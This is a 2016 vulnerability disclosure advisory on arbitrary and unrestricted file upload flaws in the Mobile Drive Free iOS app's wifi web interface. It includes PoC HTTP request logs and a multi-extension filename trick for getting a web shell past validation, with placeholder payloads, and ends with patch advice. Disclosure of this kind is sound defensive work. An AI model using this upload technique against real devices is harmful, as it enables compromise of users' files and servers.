Document Title:
===============
Mobile Drive Free v1.8 iOS - Multiple Web Vulnerabilities
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1708
Release Date:
=============
2016-02-05
Vulnerability Laboratory ID (VL-ID):
====================================
1708
Common Vulnerability Scoring System:
====================================
7.1
Product & Service Introduction:
===============================
Mobile Drive is the ideal app for anyone who transfer documents between PC, iPad and Cloud. Mobile Drive allows you to manage documents and organize them.
You can quickly upload and download documents via email and the popular cloud storage services.
(Copy of the Vendor Homepage: https://itunes.apple.com/de/app/mobile-drive-free-document/id648162472 )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered multiple vulnerabilities in the official Mobile Drive Free iOS mobile web-application.
Vulnerability Disclosure Timeline:
==================================
2016-02-05: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Keke Cai
Product: Mobile Drive Free - iOS Wifi (Web-Application) 1.8
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
================================
1.1
An arbitrary file upload vulnerability has been discovered in the official Mobile Drive Free iOS mobile web-application.
The arbitrary file upload vulnerability allows remote attackers to unauthorized include local file/path requests or system
specific path commands to compromise the mobile web-application.
The web vulnerability is located in the `filename` value of the `upload` module. Remote attackers are able to inject own files with
malicious `filename` values in the `file upload` POST method request to compromise the mobile web-application. The arbitrary file upload
execute occcurs in the index file dir listing and sub folders of the wifi interface. The attacker is able to inject the payload by usage
of the wifi interface or local file sync function.
The security risk of the arbitrary file upload vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.8.
Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privileged web-application user account.
Successful exploitation of the arbitrary file upload vulnerability results in mobile application compromise or connected device component compromise.
Request Method(s):
[+] [POST]
Vulnerable Module(s):
[+] Upload
Vulnerable Parameter(s):
[+] filename
Affected Module(s):
[+] Index File Dir Listing (http://localhost:8080/)
1.2
An unrestricted file upload web vulnerability has been discovered in the official Mobile Drive Free iOS mobile web-application.
The unrestricted file upload issue allows remote attackers to upload files with multiple extensions to bypass the system validation and compromise the web-server.
The vulnerability is located in the filename value of the `upload` file module. Remote attackers are able to upload a php or js web-shell by a rename of the
filename with multiple extensions in the upload POST method request. The attacker uploads for example a web-shell with the following name and extension
`pentest.png.html.php.js.aspx.html.png`. After the upload the attacker needs to open the file in the wifi web-application interface. He deletes the .png file
extension and can access the webshell with elevated access rights to execute.
The security risk of the unrestricted file upload web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.1.
Exploitation of the unrestricted file upload web vulnerability requires no user interaction or privileged web-application user account with password.
Successful exploitation of the unrestricted file upload vulnerability results in unauthorized file access (aap/device) and compromise of http web-server.
Request Method(s):
[+] [POST]
Vulnerable Module(s):
[+] Upload
Vulnerable Parameter(s):
[+] filename (multiple extensions)
Affected Module(s):
[+] Index File Dir Listing (http://localhost:8080/)
Proof of Concept (PoC):
=======================
1.1
The arbitrary file upload web vulnerability can be exploited by remote attackers without privileged application user account or user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
PoC: Exploitation
http://localhost:8080/files/./[ARBITRARY FILE UPLOAD WEB VULNERABILITY!]
--- PoC Session Logs [POST] ---
Status: 302[Found]
POST http://localhost:8080/files
Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://localhost:8080/]
Connection[keep-alive]
POST-Daten:
POST_DATA[-----------------------------54671593930625
Content-Disposition: form-data; name="newfile"; filename="./[ARBITRARY FILE UPLOAD WEB VULNERABILITY!]"
Content-Type: image/png
-
Status: 200[OK]
GET http://localhost:8080/
Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://localhost:8080/]
Connection[keep-alive]
Response Header:
Accept-Ranges[bytes]
Content-Length[2739]
Date[Mi., 03 Feb. 2016 14:44:38 GMT]
Vulnerable Source: File Dir Index Listing
<table border="0" cellpadding="0" cellspacing="0">
<thead>
<tr><th>Name</th><th class="del">Delete</th></tr>
</thead>
<tbody id="filelist">
<tr><td><a href="/files/1241.jpg" class="file">337.jpg</a></td><td class="del"><form action="/files/337.jpg" method="post">
<input name="_method" value="delete" type="hidden"><input name="commit" value="Delete" class="button" type="submit"></form></td></tr>
<tr class="shadow"><td><a href="/files/./[ARBITRARY FILE UPLOAD WEB VULNERABILITY!]" class="file"><./[ARBITRARY FILE UPLOAD WEB VULNERABILITY!]</a></td>
<td class='del'><form action='/files/./[ARBITRARY FILE UPLOAD WEB VULNERABILITY!]' method='post'><input name='_method' value='delete' type='hidden'/>
<input name="commit" type="submit" value="Delete" class='button' /></td></tr></tbody></table></iframe></a></td></tr></tbody>
</table>
1.2
The second arbitrary file upload web vulnerability can be exploited by remote attackers without privileged web-application user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
PoC: Exploitation
http://localhost:8080/files/[UNRESTRICTED FILE UPLOAD VULNERABILITY!].png.html.js.php.html.js
http://localhost:8080/files/[UNRESTRICTED FILE UPLOAD VULNERABILITY!].png.html.js.php
--- PoC Session Logs [POST] ---
Status: 302[Found]
POST http://localhost:8080/files
Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://localhost:8080/]
Connection[keep-alive]
POST-Daten:
POST_DATA[-----------------------------54671593930625
Content-Disposition: form-data; name="newfile"; filename="[UNRESTRICTED FILE UPLOAD VULNERABILITY!].png.html.js.php.html.js.png"
Content-Type: image/png
-
Status: 200[OK]
GET http://localhost:8080/
Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://localhost:8080/]
Connection[keep-alive]
Response Header:
Accept-Ranges[bytes]
Content-Length[2739]
Date[Mi., 03 Feb. 2016 14:44:38 GMT]
Solution - Fix & Patch:
=======================
1.1
The arbitrary file upload vulnerability can be patched by a secure parse and encode of the vulnerable `filename` value in the upload POST method request.
Restrict the filename input and filter with an own set exception to prevent application-side attacks. Parse also in the Index of Documents the vulnerable
name output value to solve the issue.
1.2
Restrict the vulnerable `filename` value and implement a secure filter mechanism with own exception to prevent the upload of files with multiple extensions.
Restrict the upload folder and disallow the execution of files that are already uploaded.
Security Risk:
==============
1.1
The security risk of the arbitrary file upload web vulnerability in the filename value of the upload file function is estimated as high. (CVSS 6.8)
1.2
The security risk of the unrestricted file upload web vulnerability in the file upload mechanism is estimated as high. (CVSS 7.1)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
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=========================
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